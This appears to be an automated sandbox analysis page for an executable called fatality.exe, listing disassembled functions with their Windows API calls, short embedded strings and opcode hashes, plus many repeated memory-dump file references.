Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 19fe16a271ff3a2d59e312e1a42151659b55313694440ade56bf5da1ce59181c
Instruction ID: 0bd0cc3a7e18de9e97b852abcfe64b5e044115614e0e358e085697aa77ad4b18
Opcode Fuzzy Hash: 19fe16a271ff3a2d59e312e1a42151659b55313694440ade56bf5da1ce59181c
Instruction Fuzzy Hash: 5251E171600212AFEB298F54D889BAAB3E4FF54314F24552EEE05A76E1E731EDC0D790

Function 00E0C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E0C817

Part of subcall function 00E08DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00E08E7A,?,00000004,00000000,?,00E0C007,?,00000004,00000000,?,?,?,00E08716), ref: 00E08DE2

_free.LIBCMT ref: 00E0C829
_free.LIBCMT ref: 00E0C83B
_free.LIBCMT ref: 00E0C84D
_free.LIBCMT ref: 00E0C85F

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 6c4685b755fbfd723c08cfe72b54721de38992a7d7e7f0dd1a2d1aa4a89bfaea
Instruction ID: df085ee7ce6991286c2c4fd329a242fb1828b0531f2ce45449627ff54df21fa0
Opcode Fuzzy Hash: 6c4685b755fbfd723c08cfe72b54721de38992a7d7e7f0dd1a2d1aa4a89bfaea
Instruction Fuzzy Hash: 66F04F32510202AFC624DF69F585C4A77EDAB00718764B919F548F76D2CA70FCC08A68

Function 00E08900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E0891E

Part of subcall function 00E08DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00E08E7A,?,00000004,00000000,?,00E0C007,?,00000004,00000000,?,?,?,00E08716), ref: 00E08DE2

_free.LIBCMT ref: 00E08930
_free.LIBCMT ref: 00E08943
_free.LIBCMT ref: 00E08954
_free.LIBCMT ref: 00E08965

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 98e1138b2a5a599d3b91bf84531c5f1870ce7ce95f8156622fb6b2721b5e2e6f
Instruction ID: 2bbf2e70f1f2c8942662c547af32cbd523ee83b95c67cf210964116fac4962a6
Opcode Fuzzy Hash: 98e1138b2a5a599d3b91bf84531c5f1870ce7ce95f8156622fb6b2721b5e2e6f
Instruction Fuzzy Hash: 8FF03A798201238FC6066F16FE024453FE5F726714381274AFA59723F1CB71498A9B85

Function 00DFA80C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00DFA699: GetDC.USER32(00000000), ref: 00DFA69D
Part of subcall function 00DFA699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00DFA6A8
Part of subcall function 00DFA699: ReleaseDC.USER32(00000000,00000000), ref: 00DFA6B3

GetObjectW.GDI32(?,00000018,?), ref: 00DFA83C

Part of subcall function 00DFAAC9: GetDC.USER32(00000000), ref: 00DFAAD2
Part of subcall function 00DFAAC9: GetObjectW.GDI32(?,00000018,?), ref: 00DFAB01
Part of subcall function 00DFAAC9: ReleaseDC.USER32(00000000,?), ref: 00DFAB99

Strings

lU, xrefs: 00DFA902
(, xrefs: 00DFA9AA

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: ($lU
API String ID: 1061551593-690053282
Opcode ID: 5ec5392b172e4392d693a300ff08c9be797ef07210a6f3b1ba5e0063af0c05bb
Instruction ID: b5e95c13de4512a03588edba774d4c7d17deeb7475af75d0f1503e1075f8159d
Opcode Fuzzy Hash: 5ec5392b172e4392d693a300ff08c9be797ef07210a6f3b1ba5e0063af0c05bb
Instruction Fuzzy Hash: 6191F3B5604354AFD710DF29C84496BBBE8FFC9700F01891EF59AD3260DB70A94ACB62

Function 00DEBB03 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DEBB27
_wcslen.LIBCMT ref: 00DEBC3B

Strings

\\?\, xrefs: 00DEBB52, 00DEBB99, 00DEBBF7, 00DEBC4E
UNC, xrefs: 00DEBBA7

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen
String ID: UNC$\\?\
API String ID: 176396367-253988292
Opcode ID: 604a40462433e3e57aae342175353ac5c3e3bfcc652ca7e63aecae13689a4f4c
Instruction ID: 689800209c7133554d8664a83537fda8578e2cf354630ccf80866616b982e78f
Opcode Fuzzy Hash: 604a40462433e3e57aae342175353ac5c3e3bfcc652ca7e63aecae13689a4f4c
Instruction Fuzzy Hash: C741C531404299A6CF21BF72CC01EEB77A9EF41364F248567F554B3151DBB0FA908AB0

Function 00E07F6E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E08079
_free.LIBCMT ref: 00E08083

Strings

(!, xrefs: 00E07FBA
C:\Users\user\Desktop\fatality.exe, xrefs: 00E07FA5, 00E07FAC, 00E07FDB, 00E08013

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free
String ID: (!$C:\Users\user\Desktop\fatality.exe
API String ID: 269201875-2171620144
Opcode ID: b1839ba62668b6526820baada1d25b814b285da384cfdf800d4ce28b255efa8f
Instruction ID: 9ab0ae0e3e84011d92cad803d5f6c8b3235a9ea42f370f6e8bdf3aaf907a41fa
Opcode Fuzzy Hash: b1839ba62668b6526820baada1d25b814b285da384cfdf800d4ce28b255efa8f
Instruction Fuzzy Hash: 4F31E270A00209AFDB21DF95DD8099EBBFCEF85300F1050AAF544B7291DB709E85CB60

Function 00DFAD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00DE1316: GetDlgItem.USER32(00000000,00003021), ref: 00DE135A
Part of subcall function 00DE1316: SetWindowTextW.USER32(00000000,00E135F4), ref: 00DE1370

EndDialog.USER32(?,00000001), ref: 00DFAD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00DFADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00DFADC2

Strings

ASKNEXTVOL, xrefs: 00DFAD28

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 230a14cdf885e906a5d9c36a751c0746fca97523978ffec9d08658cc08d8fd92
Instruction ID: 47bdea1366414127cf9b9a65f973ef4a8c0e22958a6cf5e736712859c8bb2d91
Opcode Fuzzy Hash: 230a14cdf885e906a5d9c36a751c0746fca97523978ffec9d08658cc08d8fd92
Instruction Fuzzy Hash: E7110372280204AFD7119FADEC44FBA7769EF4B742F164000F348EB4A0D761A94A8732

Function 00DED91A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00DED954
_strncpy.LIBCMT ref: 00DED99A

Strings

$%s, xrefs: 00DED949
@%s, xrefs: 00DED93E

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 8b9afce4902418621ba4ecc094dc26fe9d7124809048209bedf88a6e1c5736b4
Instruction ID: 78172a707648641db6a8f76763a95039079a2328c8078f5b3984a077c6f0046e
Opcode Fuzzy Hash: 8b9afce4902418621ba4ecc094dc26fe9d7124809048209bedf88a6e1c5736b4
Instruction Fuzzy Hash: 54018872440288AADF21FEB5CD42FEE7BA9EF01704F440011FA11A61B3E622D6559F31

Function 00DFDCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00DFDD1C, 00DFDD50
RENAMEDLG, xrefs: 00DFDD31

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: d273c6aa092e71cb5f963ea8ba5ed8300fd072e98cb7f5703d6b812f8cf115b3
Instruction ID: 0e14b9fdc36e6b32fc8f34cddd9af2046d2453c3ff308f2447c2bdd4f2a8a953
Opcode Fuzzy Hash: d273c6aa092e71cb5f963ea8ba5ed8300fd072e98cb7f5703d6b812f8cf115b3
Instruction Fuzzy Hash: DC01B57660434DAFD7206F66FD44ABA7FA7F759344B058026FA05E3270C6309859DBB0

Function 00DFFD10 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 00DFFE48
_com_issue_error.COMSUPP ref: 00DFFE52
_com_issue_error.COMSUPP ref: 00DFFE6A
_com_issue_error.COMSUPP ref: 00DFFE93

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: 914f5106c5f15b7b6e586eafe7fc8dc849b4f31487d49196bb8b90f131aa955d
Instruction ID: 6964f44153286013db817aa44cbe269f0ce2d21037d75ab06ea00be4082899e7
Opcode Fuzzy Hash: 914f5106c5f15b7b6e586eafe7fc8dc849b4f31487d49196bb8b90f131aa955d
Instruction Fuzzy Hash: 1941C371A0021DAFDB109F69DC45BBEBBA8EF48710F15C23AFA05E7291D7349A4087B4

Function 00DE1100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DE112B
_wcslen.LIBCMT ref: 00DE1153
_wcslen.LIBCMT ref: 00DE1182
_wcslen.LIBCMT ref: 00DE11A9

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 1bc610621f31a29db001ed9f9f4c8cb485de4203f0e5f8d4ac7f3c227572f8b3
Instruction ID: 69b06f2b4088f5d3488a4753ef5ff68ef9fc6304c5b2dfbf916930595a2c5f3a
Opcode Fuzzy Hash: 1bc610621f31a29db001ed9f9f4c8cb485de4203f0e5f8d4ac7f3c227572f8b3
Instruction Fuzzy Hash: 3841B675A006695FCB21AF79CC069EE7BBCEF01310F044119FA45F7242DB30AE598AB5

Function 00E02AFA Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E02B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E02B2F

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 592491b79c642b8da15caf849efa9935b2894d7528600c2be25eb8855821c59e
Instruction ID: a2772586cd826d5278070c60aeb581a5a90e576b5b0d0d0f507bfc2ebf0fe5e7
Opcode Fuzzy Hash: 592491b79c642b8da15caf849efa9935b2894d7528600c2be25eb8855821c59e
Instruction Fuzzy Hash: 3D01D8321183126DF6252EB57C8DA9A3BDDEB117B8760673EF610751E0EF114C849544

Function 00DFDC3B Relevance: 6.0, APIs: 4, Instructions: 42windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DFDC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DFDC72
TranslateMessage.USER32(?), ref: 00DFDC7C
DispatchMessageW.USER32(?), ref: 00DFDC86

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: c8bbc2effcca0226e26f40a5828eda5ac10757c0a5e5b818a11123c30d2c8021
Instruction ID: 30728ca825c9c636aa4d585038c9e1e3aa65bb495c8ba14a5fb5e7d969c6a363
Opcode Fuzzy Hash: c8bbc2effcca0226e26f40a5828eda5ac10757c0a5e5b818a11123c30d2c8021
Instruction Fuzzy Hash: 6BF03C72A01219BBCB206BA6DC4CDDF7F7EEF46791B148121B60AE2051D674864AC7B0

Function 00DF1FDD Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DF1FE5
_wcslen.LIBCMT ref: 00DF1FF6
_wcslen.LIBCMT ref: 00DF2006
_wcslen.LIBCMT ref: 00DF2014

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

